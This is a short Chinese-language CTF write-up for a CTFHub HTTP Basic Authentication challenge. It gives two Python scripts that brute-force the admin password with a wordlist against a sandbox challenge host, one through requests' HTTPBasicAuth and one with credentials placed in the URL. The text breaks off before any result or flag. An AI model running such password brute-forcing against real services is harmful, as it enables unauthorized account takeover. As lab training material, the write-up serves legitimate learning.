CTFHub http协议 基础认证题的两种解法

CTFHub http协议 基础认证题

在做natas时就经常遇到需要http基础认证，python中requests模块提供了对应的方法可以用来对账号密码进行爆破。

打开题目抓包，点击click获取flag，弹框需要账号密码，随便输入账号密码，已知账号admin,题干下面提供了密码的字典，直接上python脚本走一波

方法一：利用python中requests模块的auth.HTTPBasicAuth爆破

import requests
proxies={"http:http://127.0.0.1:5080"}
username='admin'
with open(r'10_million_password_list_top_100.txt','r') as f:
    lines=f.readlines()
    for pwd in lines:
        password=pwd.rstrip('\n')
        url = "http://challenge-537d355a9df61d39.sandbox.ctfhub.com:10080/flag.html"
        auth=requests.auth.HTTPBasicAuth(username,password)
        print(auth)
        res=requests.get(url=url,auth=auth)
        ss=res.status_code
        if ss==200:
            print("password is %s,status_code is %s" %(password,ss))

通过requests模块，该模块提供了http基础认证的方法，直接爆破密码，根据返回值为200则密码正确，否则返回值为401，密码错误。

方法二：通过浏览器可以用http://username:password@domain的方式进行登陆验证

import requests
username='admin'
with open(r'10_million_password_list_top_100.txt','r') as f:
    lines=f.readlines()
    for pwd in lines:
        password=pwd.rstrip('\n')
        url = "http://admin:%s@challenge-da462e6a1d7f1d65.sandbox.ctfhub.com:10080/flag.html" %password     
        res=requests.get(url=url)
        ss=res.status_code
        # if ss==200:
        print("password is %s,status_code is %s" %(password,ss))

爆破结果：

最终flag: